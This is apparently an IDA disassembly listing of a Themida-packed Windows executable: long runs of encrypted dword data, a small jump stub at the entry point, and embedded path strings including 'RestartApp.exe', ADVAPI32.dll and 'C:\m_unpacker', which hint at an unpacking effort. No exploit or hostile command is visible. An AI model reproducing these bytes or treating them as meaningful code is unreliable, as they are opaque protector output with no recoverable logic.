dd 0C13CA4DBh, 0DF6A00BFh, 8E8C6FE0h, 0A424549Ch, 0EED400E6h
dd 7135F60Dh, 4712D22Ah, 1FBD09Ah, 552D6096h, 595D60EBh
dd 35DE2CA0h, 17011972h, 5C47436Ah, 0A030027Eh, 0FEDB078Ch
dd 0F077FBD5h, 3FD97198h, 3AACF406h, 58D01CE3h, 0C40AA08Fh
dd 0AC40BFh, 65AC3B34h, 0C058DB47h, 2A22DEB8h, 90D45CFDh
dd 0CE4A00BBh, 0F001B4A8h, 0D4996D39h, 3A748D80h, 5F23Ch
dd 6E940396h, 5B02E60Ch, 71D541C0h, 2AF120h, 8BEC4ECDh
dd 45BA39E1h, 6EFEA0A4h, 0A0589400h, 0F465B0Eh, 3E0E6E4h
dd 0FD333BA9h, 0C89D6567h, 0FE007ACCh, 0ADC906ABh, 0BA9E8FDAh
dd 0FBB82444h, 241F0058h, 459186DBh, 0A6F51C04h, 84C084B4h
dd 2D80C12h, 0B2B19856h, 78C44865h, 0B09BDA06h, 11299Ch
dd 8FB76F3Eh, 1C4A0697h, 0E5575301h, 6ADD293Ah, 0F447898Ch
dd 0C9705CC1h, 94770800h, 42EFED74h, 21B3959h, 0C8454E81h
dd 105BDE29h, 0C0579CACh, 3FA63869h, 3C00D748h, 5B26421Ch
dd 0C42F4570h, 89C22921h, 2246F1ACh, 98AD1EC4h, 24241714h
dd 0A05DC20h, 9420FCE4h, 120EB083h, 882B620Ch, 6D786644h
dd 0B0E49B24h, 603DB201h, 74303BACh, 0FE4B1181h, 0D571005Ch
dd 0B1EFC414h, 0CC9FA25h, 72E32931h, 7C000C21h, 0ACB73975h
dd 54438701h, 0A188FBh, 0D3FFE8A9h, 486A651Bh, 0D991BF07h
dd 0EFD5C40Fh, 0F1D4B430h
dd 0E1701608h, 343D0090h, 0F8BA419Eh, 32137F12h, 0ECDC0406h
dd 709C5C59h, 0F9E07E80h, 9E000666h, 0C7393393h, 937A014h
dd 0CF252822h, 0DD856580h, 62014B26h, 5F200F52h, 0C0F0EFDCh
dd 0DF4A00B6h, 0E1807F03h, 0D401E29Bh, 7040E52Fh, 7472A36Bh
dd 0B474F500h, 4767323Fh, 0EB074876h, 931E0945h, 0D6D9C202h
dd 40E824CDh, 58279132h, 6D004A98h, 0D7A54B7Fh, 940B7866h
dd 0D372478Ch, 0BB8501A0h, 0EE0DE0Bh, 88EFA018h, 9D4318Ah
dd 0BB19CF6Ch, 1B2D7880h, 5600F648h, 3832DA8Ch, 0FF7AED6Eh
dd 2EA44Ch, 0DF8A4117h, 972F266h, 433EEC78h, 0C6699431h
dd 0F6DE02F0h, 46BE9C83h, 0A5B40040h, 45F5FD46h, 913A6BD7h
dd 0A9BDB0CFh, 0B01B7h, 0D1B60E18h, 424B6307h, 0DEC82900h
dd 0D93BF4A8h, 505948FDh, 92D54780h, 4C012810h, 6F99EB3Eh
dd 4020AB40h, 69358842h, 0FB3438h, 0EF8E9589h, 163F86Eh
dd 0E3CFF23Fh, 818DF346h, 0F6061B81h, 58409D53h, 2CEAB625h
dd 198211h, 0DC5C38A0h, 8B0CD5A2h, 292DA39Dh, 263001B5h
dd 0C60484A0h, 509430F7h, 7580F094h, 0C4403ADEh, 0A70A0110h
dd 43F4ADB6h, 0CAD048C8h, 2C01D000h, 39E0283Bh, 251DF6CDh
dd 84A00DE5h, 7A978AE1h, 5446BA07h, 84DAFE78h, 8217C080h
dd 1C13B3D4h, 498F7Dh, 2E9D3014h, 55025E01h, 0AD0D3D6Ah
dd 23A4E179h, 0A1E44Ch, 0A09E1D45h, 0A4FBAD4Ch, 1D7113Ch
dd 0C27E67DAh, 9CC114F5h, 3B033822h, 0E30B17B8h, 37E06DD3h
dd 7C0F903Eh, 0AD6FCAE1h, 1030295Ch, 5B7900FDh, 67EDCF8h
dd 0B900DF1Dh, 68E3A709h, 9503DBh, 9885AE71h, 8626CF13h
dd 0D6F99F00h, 0C00B29EAh, 4C470916h, 781BACA4h, 731FF188h
dd 372F93Eh, 0F73B097Dh, 0BD9BC0A8h, 97330012h, 0F2DD71B6h
dd 0D74CC2A3h, 0E60B8744h, 3BD5E3F0h, 95AE013Fh, 9FD7D9BDh
dd 38E830A4h, 0FD0654FCh, 2648610Fh, 9CB971h, 7F1F7865h
dd 0EA01EFFCh, 14B7AA9Bh, 0ADD95638h, 2200460h, 7037ACCCh
dd 0B871583Ch, 0D7874403h, 0D8409DFDh, 0EF71CF68h, 80382C96h
dd 5EFE607Ch, 491F6B93h, 0A380235Dh, 0BE66AE72h, 31918E7h
dd 0E4B92964h, 8B22FB03h, 0E8D43685h, 3D81DCh, 2CE63739h
dd 4749BBCBh, 5F31DD60h, 0D53BB2h, 0ED07192Eh, 0F665BB8Dh
dd 0FC79BE1Fh, 3C062B03h, 0CC03E52Dh, 0C96E1332h, 0BC39437Bh
dd 0A495EB02h, 0B0E87A3Fh, 1A0154A3h, 0E33C50B3h, 60329D21h
dd 0DFC9EE00h, 0DEAAEC42h, 4DA4C701h, 0F198151Bh, 4BE646C0h
dd 9C0440FDh, 7D1E9583h, 0B2892B8h, 6044D868h, 0C7283BD5h
dd 24C3E50Bh, 406FE484h, 0F6A413B9h, 0A1C16043h, 0C6FFB0C8h
dd 140057B8h, 83B467C7h, 2F2D39Ah, 0FDA6DC7Fh, 0BCC12EE2h
dd 0F6619641h, 88634800h, 96D3C2B9h, 7F0E67ECh, 5318D812h
dd 11884900h, 0DB1D859Ch, 0D7FB1F7Ah, 1CE90073h, 0BA92B063h
dd 272F2800h, 438EDC4Ah, 5CD7F07Fh, 98008836h, 407B13BDh
dd 150146BCh, 7257DA6h, 8C40D211h, 130ADBF2h, 20DF473Dh
dd 0E393E148h, 16455501h, 890F75E8h, 1704F870h, 2269D529h
dd 520920Ch, 6F7B51Bh, 46F01096h, 7A3C19EEh, 0D3EB00B7h
dd 68E82CAFh, 0B0B3EA7Bh, 58F34828h, 47605C22h, 0BEC60A60h
dd 813A02DDh, 0B3C819C4h, 0A303807Ah, 9AF0E973h, 6CE59825h
dd 12441667h, 0C07E1EE6h, 3B35F847h, 0BB012306h, 6372D730h
dd 0C3FCD531h, 52C949Eh, 46C47Bh, 12B6365Ch, 113E94CEh
dd 1C72225h, 0E23CF01h, 7043AC29h, 0C0E6D09h, 0E071DAC4h
dd 74F43C3Dh, 2320FF46h, 2A4490DCh, 18C5DE0h, 0C7DFABDEh
dd 69B38B04h, 59471D40h, 8038980h, 2653586h, 1937F776h
dd 80C391DAh, 16606EB2h, 9F00FABAh, 0F8DBDE5Ch, 0C0780276h
dd 0A66F2EC8h, 12026106h, 0B70F1116h, 1464B2h, 0A68D1A78h
dd 9EC9DF98h, 0F800BE79h, 46A23B38h, 4A20B812h, 81CC419Dh
dd 0D0C80F21h, 5100446Ch, 0F6B8B27Eh, 106D79Ah, 9FD62D65h
dd 134DD4C2h, 0E1BEFDh, 81628A2Bh, 0CA6DF176h, 0F50BF4E6h
dd 8039FDCFh, 50E841CFh, 77490DFh, 0CB195E0Ah, 0F68048D5h
dd 0D830ACADh, 3C643AB0h, 0DD2BAE83h, 0C2B86B0Fh, 0B091500Ch
dd 0C064B50Eh, 0D6FE7E14h, 0F7CA054Fh, 0C0DEB3D8h, 324ADF9h
dd 0A3077D77h, 1DBD019h, 7B991ED0h, 54D50090h, 89B0C149h
dd 0CA00D971h, 0D660E0C5h, 501A371Bh, 7CF68FEh, 77E54AE7h
dd 4ED07107h, 44B8DBB3h, 60FCE3B5h, 91E45302h, 640E35DCh
dd 149E0114h, 0E1F9CEEBh, 56E3CC2Eh, 0A1154407h, 4A2A8DBh
dd 8E8CD954h, 8F00BBFCh, 1E9DDF27h, 4944E401h, 81D405C3h
dd 0FA319061h, 3E7FDC20h, 610B85B0h, 6C13513Dh, 0C78FE4C8h
dd 0B51CB7F8h, 0F4AC0E47h, 21A16540h, 2F5301F4h, 8146CF8h
dd 0D7ED448h, 77810C9Ch, 656E7C20h, 751C3438h, 4F984EAh
dd 3B8C850h, 80700B0Ah, 0B900D085h, 230E27E5h, 80D4949Dh
dd 0AFEC6736h, 4400AACDh, 2C75B8D3h, 0FE7A28h, 0A48858B4h
dd 0F67946BDh, 1C2DE7h, 0B515D60Fh, 5B7EA0h, 0AF116989h
dd 19321637h, 29AE8009h, 3BA018DCh, 9AA3BC5h, 0BF83CBFh
dd 4648A5DBh, 22E25C90h, 101C3Ah, 0EEB30541h, 0B68D30Ah
dd 47D72A1Dh, 4400E044h, 2960C735h, 6D896Eh, 0EE6CB5C8h
dd 0C2B23C08h, 0AC01017Bh, 708B144Bh, 2430ECFAh, 165CB0D1h
dd 3006541Eh, 2325B380h, 0B9A76500h, 16ABD7Ch, 601A003Ah
dd 7B98BB48h, 0A4989413h, 2E9C11FDh, 0A53A8983h, 9097760Dh
dd 0B1A8AE4Ch, 9D64AC01h, 0A2EA6113h, 0B225AC38h, 5CFA2020h
dd 4902188Dh, 0F7587876h, 77506032h, 453400DDh, 0FE63B1E5h
dd 1FEE43D5h, 26D479EBh, 4009D22h, 3A03B14Ch, 0AE5305CFh
dd 0E244705Fh, 2DE312C8h, 0CEFF0402h, 18A8C111h, 1F3BB873h
dd 74C62700h, 0F1806B50h, 3E022500h, 3ADC89B1h, 167F0AE3h
dd 803C739Bh, 0B502FF71h, 0F0075FF2h, 0F3C81569h, 36241600h
dd 0B2981892h, 8B9CDAD8h, 0A6001598h, 0C1D5FDDAh, 90A5505Dh
dd 0DFB7161Ch, 93ECC853h, 2259312Eh, 0ED32003Dh, 6B801A89h
dd 53F70339h, 3DB65A36h, 9EF04891h, 0EB165F89h, 79928C88h
dd 7A1A0463h, 405EB377h, 0CC668A44h, 0BA0B0BE7h, 182F58h
dd 0A00769AAh, 33D89631h, 9879FA80h, 5B5003A7h, 3D2B3C85h
dd 3C78CDDAh, 0E92845EEh, 312F8562h, 640410F5h, 0AB47014Bh
dd 85D1C3F7h, 2A8F6039h, 43594F00h, 0CB456E11h, 232B5F64h
dd 0F5C0E754h, 0AE13E6BEh, 6100C173h, 0E8E5DD44h, 8028992Dh
dd 5D933A39h, 0C227BED9h, 60CCAAD6h, 0A0AD3400h, 99B32CDCh
dd 4B090E58h, 0ED05F2E0h, 0E9002099h, 0E41346ACh, 5CD94A21h
dd 0D52EE104h, 7844493Ch, 0CD108900h, 257C4B67h, 208C0009h
dd 3D9B50BEh, 0A1A03412h, 0D15F6DB3h, 0A2DCD400h, 2C8DDAh
dd 0D6CB73Fh, 3C88DB90h, 6432C007h, 15623A10h, 14D1CAh
dd 0D186BC57h, 0FA005E4Bh, 62E4ABD8h, 0D2EB02h, 1ABA8748h
dd 0F0DC2BA4h, 0A96EE1BDh, 12A23430h, 21A3ABF6h, 0F0B71A6Ch
dd 47373521h, 0B6C0C108h, 14E17FF9h, 0D0F6221Ch, 3EDBE5C0h
dd 0F9FE81ECh, 0B8185101h, 7CBC911Ah, 946ADCCh, 9CBF1342h
dd 1EF68090h, 0BD0072E6h, 3D854062h, 6BD436h, 7CED6CFEh
dd 9DF8A052h, 0E8B252h, 7A6A628Bh, 0B889F1h, 0EAA2F51h
dd 6504BF31h, 2B3CDBE4h, 39005819h, 669609Dh, 0FB0849h
dd 7ED3D5C3h, 0B02F1CB9h
dd 8CEBAD3Bh, 614BB3BBh, 0BDFE0054h, 0DE447924h, 59004EC4h
dd 0DB8ACA1Bh, 7F2ABC2Ch, 0CB218086h, 348DAF4Ah, 382FF8F3h
dd 792C61A3h, 0E1B559C8h, 6CADE440h, 5F8E923Eh, 0E4329820h
dd 5ABF0FC2h, 2A620BB8h, 0F4FA94DEh, 0ED023470h, 0E43601DCh
dd 668D853h, 0FE3B04F8h, 0BE00296Eh, 52B1DA93h, 3383227h
dd 674210E6h, 6AB2537Ch, 0F6410856h, 2DB9681h, 3D6B7A6h
dd 4072FDADh, 1F3E2960h, 0C633E5h, 720113C8h, 1075026Dh
dd 0B5674000h, 71B112E4h, 0DCEF3EAEh, 30C000CCh, 0A4E85417h
dd 0A7462E02h, 726F70ADh, 5A34FEC0h, 0CCBC0536h, 0FCC20A3h
dd 7F26C45Dh, 0BD00DBF3h, 94471780h, 6E92128Eh, 0D4DCC907h
dd 267D0BEFh, 16C38800h, 2ACADF8Dh, 0BA0F1265h, 98B420B2h
dd 0C300E4E5h, 710DB86h, 0EC571304h, 8F7A01FDh, 0E7C0285Bh
dd 2B29C0DAh, 0ACB4B577h, 45A0360h, 1B6EA0Dh, 0D866601Ch
dd 82E466Fh, 0B97244E4h, 3BA14403h, 95B64BBCh, 7B0B7880h
dd 0AEC230BBh, 0C805A31h, 0F5277C09h, 0E405243h, 0B36F9E08h
dd 0E0608F49h, 6405333Bh, 68073AC6h, 0E061C8Ch, 0DFABC1E3h
dd 771423A0h, 960093ECh, 7FBD78D7h, 7414F07h, 80B6D43h
dd 8007BB31h, 0E8DB31FAh, 81647855h, 70882845h, 0FD7FD084h
dd 40E8C9FCh, 82616E97h, 0DC5B3Eh, 483AE81Ch, 2A28D3BFh
dd 127871C7h, 2941EB4h, 8AED2D80h, 13009851h, 37D581A8h
dd 46C900D6h, 770544F8h, 0B501F51Ah, 0C2609CDAh, 844C94D9h
dd 15B40033h, 7BB7F610h, 4DF93D70h, 0BE21DAB4h, 6441B2ADh
dd 0B6C93901h, 0DACC8AE9h, 0CAFE0D94h, 4C214ED6h, 0A601CC68h
dd 1DB2850Fh, 0C770BB7Fh, 10A30073h, 358C518Dh, 292E9C42h
dd 17602CD6h, 0BD776Dh, 0C01B63D8h, 0ECF54859h, 48FD6F28h
dd 8041DA38h, 7BD7202Dh, 14644EF3h, 6C154804h, 0DAE64400h
dd 7FF17073h, 3C03DC00h, 0D10123D5h, 0B4AA2E05h, 0B2310C18h
dd 478964E8h, 0CF00F42Dh, 0DED19916h, 7D0F7482h, 299A2FC3h
dd 7E6050ADh, 0AF1026D2h, 200D02A8h, 0C491AECBh, 2072FDh
dd 51474E03h, 17139272h, 18A7BC7h, 0A8C2BF5Eh, 31BF55h
dd 91C42556h, 0C196ECF1h, 0FE196F98h, 95271171h, 2968FA30h
dd 60B4DBC2h, 337BC0BEh, 0D3393A00h, 410AC52h, 0D232624h
dd 0F2BB00A8h, 1270E8F4h, 610FE509h, 952C523Dh, 89D8C890h
dd 8048DA39h, 0B3B7ABF9h, 736AB6ACh, 0D1C218E9h, 0DA472954h
dd 4C2E2CB9h, 59B09F47h, 321613Ah, 72177D36h, 63B85E4Dh
dd 1A5CC13h, 0C0F6FFFFh, 0
db 0
; ---------------------------------------------------------------------------
loc_549A0D: ; CODE XREF: Themida_:loc_4E1265j
; DATA XREF: Themida_:loc_4E1086o
jmp loc_54CF3E
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 5CB50000h, 77E7h, 3 dup(0)
dd 705D0000h, 0
dd 21220000h, 1619h, 0Ah dup(0)
dd 230000h, 58h, 4 dup(0)
dd 40000h, 0A8690000h, 58h, 5CB50000h, 77E7h, 5 dup(0)
dd 230000h, 10140054h, 0Eh, 3 dup(0)
dd 621D0000h, 5Bh, 3 dup(0)
dd 0CD920000h, 54h, 25060000h, 2 dup(0)
dd 8D8D0000h, 304EAAFh, 7FFEh, 0Ch dup(0)
dd 0FF7F0000h, 30403DBh, 7FFEh, 668C0000h, 0A2FA0000h
dd 30A2h, 7 dup(0)
dd 705D0000h, 30DF0000h, 0A9C5h, 2 dup(0)
dd 0A20000h, 0FFBA4EC9h, 0FF53h, 2 dup(0)
dd 0FDFE0000h, 0F3FFh, 0
dd 5E2E0000h, 727300A2h, 312h, 0CD920000h, 54h, 65520000h
dd 72617473h, 70704174h, 6578652Eh, 0
dd 33FB0000h, 6B877E7h, 0C0E2D8h, 3 dup(0)
dd 73630000h, 24F3h, 2 dup(0)
dd 0FFB00000h, 1C2h, 5 dup(0)
dd 0E1D90000h, 690B78BFh
; ---------------------------------------------------------------------------
public start
start:
push edx
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 9 dup(0)
dd 0B9h, 0Fh dup(0)
dd 2FC90000h, 59h, 4 dup(0)
dd 0F655h, 2 dup(0)
dd 2BDE0000h, 0A2h, 0
dd 0ED5F0000h, 77F7h, 5 dup(0)
dd 0D4AD0000h, 5Bh, 6 dup(0)
dd 5A8E0000h, 0
dd 28Bh, 0
dd 183B0000h, 0D9AD0058h, 54h, 0A0h dup(0)
dd 0A7DE0000h, 58h, 0
dd 0E5360000h, 0E477h, 0A8370000h, 333377E7h, 2 dup(33333333h)
dd 3333h, 0B1340000h, 42C100A4h, 7F9Dh, 2 dup(0)
dd 0CD920000h, 54h, 2 dup(0)
dd 0A5720000h, 0E5F2h, 0E21F0000h, 5Ch, 7 dup(0)
dd 861C0000h, 5Ah, 0
dd 0AD4E0000h, 0AFB80058h, 0F600h, 2 dup(0)
dd 0B00000h, 4 dup(0)
dd 0FFDD0000h, 0FFA7h, 5 dup(0)
dd 0FCFC0000h, 0FFA6h, 0
dd 69DD0000h, 0A2h, 3 dup(0)
dd 268C0000h, 58h, 6 dup(0)
dd 234E0000h, 7FFEh, 6CD10000h, 0DA39C563h, 72F5h, 3 dup(0)
dd 1B400000h, 76B4h, 0DA440000h, 2 dup(0)
dd 0B21C77DDh, 3042D0Ah, 7FFEh, 0
dd 3E0000h, 0A1h, 2 dup(0)
dd 69DD0000h, 0A2h, 0B9FB0000h, 0D6022D0Ah, 2131h, 0D9E00000h
dd 177E7h, 2 dup(0)
dd 9AB00000h, 0D973h, 2 dup(0)
dd 0C7850000h, 30477E7h, 7FFEh, 3 dup(0)
dd 0A2850000h, 54h, 8 dup(0)
dd 0F4A00000h, 4EAAFFFFh, 20059h, 0EBB30000h, 77F7h, 3 dup(0)
dd 40000h, 3 dup(0)
dd 8A840000h, 0B9EBh, 3 dup(0)
dd 0ABDA0000h, 5B7Ch, 4 dup(0)
dd 189A0000h, 77DDh, 7 dup(0)
dd 40h, 0DC190000h, 9D620058h, 48F00058h, 495h, 0
dd 10000h, 0
dd 0B7FE0000h, 5Bh, 5 dup(0)
dd 840000h, 4 dup(0)
dd 7D080000h, 0C34h, 4 dup(0)
dd 50240000h, 77FCh, 3 dup(0)
dd 5CE50000h, 8873h, 0
dd 0C7260000h, 9B5677E7h, 0B80054h, 0B000000h, 0C20374C0h
dd 448B0018h, 0E8530C24h, 0
; ---------------------------------------------------------------------------
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0A2A037h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 17h dup(0)
dd 6B9C0000h, 632C024Bh, 5Bh, 7 dup(0)
dd 3040000h, 7FFEh, 0A5FD0000h, 0D2D877E7h, 0E5C1h, 0D00000h
dd 600000h, 3FF40002h, 59h, 5 dup(0)
dd 21680000h, 0B7CE77E8h, 0A9DFE5C1h, 7FE5h, 3 dup(0)
dd 58600000h, 8D0B6DD3h, 14EBh, 620000h, 3 dup(0)
dd 0DC0000h, 0Fh dup(0)
dd 0A9360000h, 987Eh, 2Eh dup(0)
dd 0EE80000h, 8 dup(0)
dd 0EB8D0000h, 0
dd 0FF170000h, 0FFFBh, 2 dup(0)
dd 0EE060000h, 3 dup(0)
dd 705D0000h, 0D8DD0000h, 51A33AAEh, 446Dh, 0
dd 69DD0000h, 0A2h, 0
dd 0FFFF0000h, 77FFh, 2 dup(0)
dd 94300000h, 268CFFFFh, 58h, 0
dd 909C0000h, 27331D3h, 0CC42h, 2 dup(0)
dd 0A3F0000h, 5435h, 4 dup(0)
dd 734E0000h, 0AE27h, 0
dd 5EF10000h, 6FC6005Ah, 0DE15h, 3A00000h, 4 dup(0)
dd 20000h, 0
dd 0FEF80000h, 0E00012h, 1Ch dup(0)
dd 43790000h, 1586h, 6 dup(0)
dd 705D0000h, 3040000h, 7FFEh, 3 dup(0)
dd 4E920000h, 0E502h, 4 dup(0)
dd 0FFB00000h, 0FFFFh, 3 dup(0)
dd 0EAE60000h, 0C41h, 0
dd 243h, 5 dup(0)
dd 8B3B0000h, 6BBFh, 2 dup(0)
dd 2EC0000h, 0DD9900C2h, 54h, 0Ah dup(0)
dd 6BC00000h, 34B50000h, 12630605h, 0B8EBh, 2 dup(0)
dd 0C0310000h, 5F080001h, 246F60h, 0
dd 3B360000h, 0B992h, 69DD0000h, 0A2h, 3 dup(0)
dd 20000h, 2 dup(0)
dd 5CFF0000h, 58h, 0FEF80000h, 93EF0012h, 77E7h, 0
dd 0DFE90000h, 0F9FCh, 23D70000h, 77DDh, 0B2130000h, 54h
dd 23E80000h, 0A3h, 2 dup(0)
dd 9FB277D4h, 57h, 25Bh, 941C0000h, 0B4FFFFh, 0
dd 10000h, 6 dup(0)
dd 17530000h, 5Ah, 5 dup(0)
dd 10000000h, 40h, 6 dup(0)
dd 0FFDD0000h, 0FFA7h, 2 dup(0)
dd 54AB0000h, 5Ah, 0B0h, 7 dup(0)
dd 10000h, 69DD0000h, 0A2h, 45B90000h, 4 dup(0)
dd 183B0000h, 58h, 0A40000h, 0
dd 95A00000h, 5Bh, 0
dd 1FFF0000h, 8 dup(0)
dd 86830000h, 0FAh, 0
dd 0C4D90000h, 3767h, 7A300000h, 0FF9Ah, 5 dup(0)
dd 96D6h, 2 dup(0)
dd 40000h, 0FCFC0000h, 35B8001h, 0Bh dup(0)
dd 0FF7F0000h, 3DBh, 0AE060000h, 99950054h, 0A6h, 0Ch dup(0)
dd 0CBA90000h, 57h, 2 dup(0)
dd 93930000h, 0A2h, 4 dup(0)
dd 27A70000h, 7FFEh, 0
dd 0FFFD0000h, 1F2h, 0
dd 2E10000h, 7FA6h, 3 dup(0)
dd 3040000h, 941C7FFEh, 0FEF8FFFFh, 12h, 79630000h, 77E7h
dd 2 dup(0)
dd 0FEF80000h, 12h, 30DF0000h, 7F5DA9C5h, 0E803259h, 0F200000h
dd 3 dup(0)
dd 0C9000000h, 76CD0057h, 6CD177E7h, 0C563h, 0A1h, 0
dd 3040000h, 7FFEh, 3 dup(0)
dd 3040000h, 7FFEh, 0
dd 0EFDD0000h, 3, 0
dd 0C4580000h, 54h, 6 dup(0)
dd 28Bh, 0
dd 20000h, 4 dup(0)
dd 43770000h, 0
dd 93830000h, 0FFFFh, 827C0000h, 137h, 2Fh dup(0)
dd 69DD0000h, 0A2h, 3 dup(0)
dd 3040000h, 7FFEh, 2 dup(0)
dd 3040000h, 7FFEh, 3 dup(0)
dd 0DDDC0000h, 0F28Eh, 3 dup(0)
dd 0FFB00000h, 242h, 0B1h dup(0)
dd 9B090000h, 3268F9ECh, 0A3h, 0C1B40000h, 3FFFh, 2 dup(0)
dd 9D390000h, 1C5Dh, 5 dup(0)
dd 0A1FE0000h, 0B2h, 0
dd 450C0000h, 0
dd 81A80000h, 23E8005Bh, 0A3h, 6 dup(0)
dd 0FF540000h, 67C4FFFFh, 8 dup(0)
dd 1050000h, 0A28h, 150000h, 0
dd 83070000h, 0A8FAD1h, 4 dup(0)
dd 0AD680000h, 3FF46B5Eh, 52D10059h, 0A6E9B2FDh, 0CD9277EBh
dd 43060054h, 723Dh, 3 dup(0)
dd 0BDFD0000h, 0E700463h, 202h, 7 dup(0)
dd 30DF0000h, 0
dd 68CC0000h, 7925h, 0AB700000h, 0E66Ah, 5 dup(0)
dd 269E0000h, 0AC0058h, 0
dd 0A5FE0000h, 54h, 0
dd 0B2640000h, 57h, 4 dup(0)
dd 0A00000h, 9 dup(0)
dd 181B0000h, 0EEA6h, 4 dup(0)
dd 0BAF40000h, 0FFFFh, 0
dd 48D00000h, 58h, 0B1680000h, 0A1h, 9DF80000h, 8CFCF608h
dd 0FFFFh, 0
dd 0D77E0000h, 30400FEh, 6 dup(0)
dd 0FF7F0000h, 3DBh, 3C540000h, 7FD80058h, 0F400A4h, 0FA1C0000h
dd 3E80h, 0
dd 73A0000h, 5Ah, 96730000h, 78E1FE3Ah, 5Ah, 0
dd 0BA720000h, 4 dup(0)
dd 0E42E0000h, 3C28E398h, 0F000097Bh, 4Dh, 0Ah dup(0)
dd 7FE80000h, 0B2h, 2 dup(0)
dd 0DD8A0000h, 4397005Ah, 5Bh, 0B1ED0000h, 0FFFFD2B4h
dd 0FFFFh, 0
dd 79410000h, 7FFEh, 0
dd 10000000h, 2 dup(0)
dd 0BC830000h, 6E4Ah, 9 dup(0)
dd 65010000h, 116DBh, 3 dup(0)
dd 17B00000h, 5Ah, 0C40000h, 2 dup(0)
dd 744A0000h, 2D0Ah, 5 dup(0)
dd 10000h, 3 dup(0)
dd 41510000h, 29D2h, 3 dup(0)
dd 9BAC0000h, 0F88000A4h, 1D3Ah, 0B0710000h, 0EDF6h, 4 dup(0)
dd 7D10000h, 7 dup(0)
dd 0EA400000h, 160Eh, 0Ch dup(0)
dd 9D620000h, 58h, 0
dd 0A0990000h, 5077E7h, 0FE6Dh, 3 dup(0)
dd 8FFC0000h, 0FFFFh, 5ECC0000h, 77DDh, 0
dd 0EEDB0000h, 59h, 61h dup(0)
dd 0EFA50000h, 5E65h, 30DF0000h, 0A9C5h, 0AE870000h, 33A90058h
dd 0A0379826h, 0DC00A2h, 4 dup(0)
dd 650F0000h, 0CE08h, 2 dup(0)
dd 13A80000h, 0DA440000h, 0C246h, 2 dup(0)
dd 53C20000h, 0FFA7h, 5 dup(0)
dd 0E025h, 67BA0000h, 0B89Fh, 0Ch dup(0)
dd 0CB590000h, 5A030057h, 6B6h, 6 dup(0)
dd 0DFE90000h, 0F9FCh, 3 dup(0)
dd 42770000h, 398Ch, 6 dup(0)
dd 0A8370000h, 77E7h, 25Ch, 6 dup(0)
dd 0DCEB0000h, 5Bh, 2 dup(0)
dd 9C370000h, 0A2h, 0AC5E0000h, 77E7h, 3 dup(0)
dd 269E0000h, 58h, 96230000h, 0FFFFh, 0Dh dup(0)
dd 3040000h, 7FFEh, 2 dup(0)
dd 0FE60000h, 0A1h, 0
dd 0E37A0000h, 5Bh, 6 dup(0)
dd 0A00F0000h, 0A2h, 0
dd 0C94B0000h, 37E005Bh, 58h, 16h dup(0)
dd 4FD80000h, 705D09F9h, 0D0270000h, 5Ch, 9 dup(0)
dd 183B0000h, 58h, 0FFFF0000h, 5Fh, 2 dup(0)
dd 5EF10000h, 5Ah, 1E80000h, 0EB8D0040h, 4B1h, 2 dup(0)
dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0)
dd 3A440000h, 0A6C40000h, 52F8h, 8 dup(0)
dd 3040000h, 7FFEh, 3 dup(0)
dd 0FFFF0000h, 0FFFFh, 2 dup(0)
dd 0F2120000h, 2 dup(0)
dd 0CC0000h, 0
dd 9C0000h, 60D10000h, 9CFF5Dh, 2 dup(0)
dd 0FCA40000h, 161h, 3 dup(0)
dd 120000h, 5Ah, 24240000h, 0C3CB2424h, 0FFB7h, 6BBC0000h
dd 1024Bh, 3 dup(0)
dd 6F0000h, 2 dup(0)
dd 3ADB0000h, 2 dup(0)
dd 0CDE20000h, 5Ch, 0
dd 9F70000h, 0A2h, 2 dup(0)
dd 230000h, 58h, 25Ch, 12540000h, 77F5h, 0D6020000h, 2131h
dd 0A6F30000h, 0CB7B005Ch, 156Eh, 0A660000h, 7FFEh, 0
dd 2EC0000h, 0C2h, 0Eh dup(0)
dd 25Eh, 2 dup(0)
dd 0FFE00000h, 12h, 0
dd 17E90000h, 5Ah, 2 dup(0)
dd 59F00000h, 77DDh, 7 dup(0)
dd 5D80000h, 0BAF477E8h, 0FFFFh, 2 dup(0)
dd 0E0000000h, 0Dh, 0F70000h, 3 dup(0)
dd 421A0000h, 55h, 0
dd 2E0F0000h, 77F5h, 3 dup(0)
dd 6B9C0000h, 24Bh, 0FF540000h, 8FFFFh, 243h, 9 dup(0)
dd 0FFB00000h, 1A2h, 2 dup(0)
dd 2B080000h, 0FAA00000h, 1B24Bh, 82340000h, 24B8h, 92800000h
dd 0F1Ah, 6 dup(0)
dd 3040000h, 7FFEh, 5 dup(0)
dd 705D0000h, 87240000h, 4A30h, 2 dup(0)
dd 10000h, 5 dup(0)
dd 3E680000h, 95B777E8h, 230057h, 58h, 13h dup(0)
dd 3040000h, 3E7FFEh, 77FFh, 2 dup(0)
dd 6B9C0000h, 0BC024Bh, 0Bh dup(0)
dd 0A2180000h, 0E613FFFFh, 5Bh, 0
dd 0BDB00000h, 0A837FFA6h, 77E7h, 8C0A0000h, 87400A2h
dd 5 dup(0)
dd 81A80000h, 3E3B005Bh, 0A2h, 0Ah dup(0)
dd 3E680000h, 0C80002h, 0B6D60000h, 58h, 3 dup(0)
dd 1100000h, 2 dup(0)
dd 0CA000000h, 3, 3 dup(0)
dd 30DF0000h, 0A9C5h, 43400000h, 5Ah, 0Ch dup(0)
dd 2BD70000h, 7561h, 0BAF40000h, 304FFFFh, 73167FFEh, 0FA4C00A4h
dd 2078h, 0Bh dup(0)
dd 0FF740000h, 0BCACFFFFh, 5Bh, 0BA470000h, 80A3FFA8h
dd 0CDA6h, 3E430000h, 57h, 2 dup(0)
dd 10000h, 0
dd 22920000h, 0A2h, 8 dup(0)
dd 326E0000h, 0FFABh, 0
dd 0C96A0000h, 77D4h, 8 dup(0)
dd 0FFF00000h, 12h, 3 dup(0)
dd 359B0000h, 5Ah, 0
dd 10000h, 5 dup(0)
dd 8D8D0000h, 45FEh, 0Fh dup(0)
dd 0BEE80000h, 3A4377DBh, 755F6D5Ch, 6361706Eh, 72656Bh
dd 7Fh dup(0)
dd 5Ch, 2 dup(0)
dd 0C8E60000h, 57h, 8 dup(0)
dd 5DD0000h, 2A1E3307h, 0FF94h, 6 dup(0)
dd 0A2520000h, 54h, 2 dup(0)
